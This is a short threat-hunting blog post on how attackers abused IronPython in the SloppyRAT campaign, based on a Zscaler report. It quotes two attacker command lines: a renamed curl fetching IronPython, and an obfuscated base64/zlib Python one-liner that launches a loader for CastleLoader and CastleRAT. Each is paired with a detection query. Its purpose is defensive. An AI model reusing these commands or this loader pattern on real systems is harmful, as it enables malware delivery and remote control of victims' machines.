415. Threat Actors Abuse IronPython to Deliver Malware
Hello everyone!
As you know, threat actors frequently abuse various command and scripting interpreters at different stages of the attack lifecycle. Today, we’ll look at a less common example involving Python (T1059.006).
To develop hunting hypotheses, let’s take a look at Zscaler’s report on SloppyRAT. In particular, we’re interested in the section covering Python.
First, the attackers used a renamed copy of curl.exe to download IronPython from GitHub:
"C:\Users\[redacted]\AppData\Local\9342371634011778.com" -s -L --tlsv1.2 --ssl-no-revoke -o "C:\Users\[redacted]\AppData\Local\IronPython.3.4.2.pdf" github.com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip
In this case, we can hunt for suspicious IronPython downloads performed with cURL:
event_type: "processcreatewin"
AND
proc_file_originalfilename: "curl.exe"
AND
cmdline: *ironpython*
The attackers then used the downloaded interpreter to deliver CastleLoader, followed by CastleRAT:
"C:\Users\[redacted]\AppData\Local\IronPython.3.4.2\net462\31706105999761.exe" -c "import base64,zlib,sys,subprocess as s;s.Popen([sys.executable,'-c',zlib.decompress(base64.b64decode('eJytEtLwAUhbMW/A8FF0Bq1aeEirhpeALi4o7qw1ixdbWPLQq/eege/iJVgN4uIjmfuaM2earkVRNBYPYleci4E4Eh1kL7FiTgTU2JvYov4TPtoDfFEzEUu+mJHHIiVscJee/rCvEuUokFPjq69YXLJzv7StZjd/Y70SYe5jxtLl6CncL09xtBzi2fW26c+ITfkPSVX0luQH/FeoDd3M4P2Jzdv7s6x/41ndfSUzHwhluFByjNB828azi+souev/OZ874d8LjPL/NotmDwj+w7y88+6yh72Lkm9AzpuxcM9Q8wlX0n0e')).decode('utf-32'))]"
This time, we can look for suspicious IronPython executions involving Base64 decoding:
event_type: "processcreatewin"
AND
proc_file_productname: "ironpython"
AND
cmdline: "base64.b64decode"
More broadly, IronPython is unlikely to be used by the average user. As a result, the presence of this interpreter on a host can itself be treated as a suspicious event and a useful starting point for further investigation.
See you soon!

Comments
Post a Comment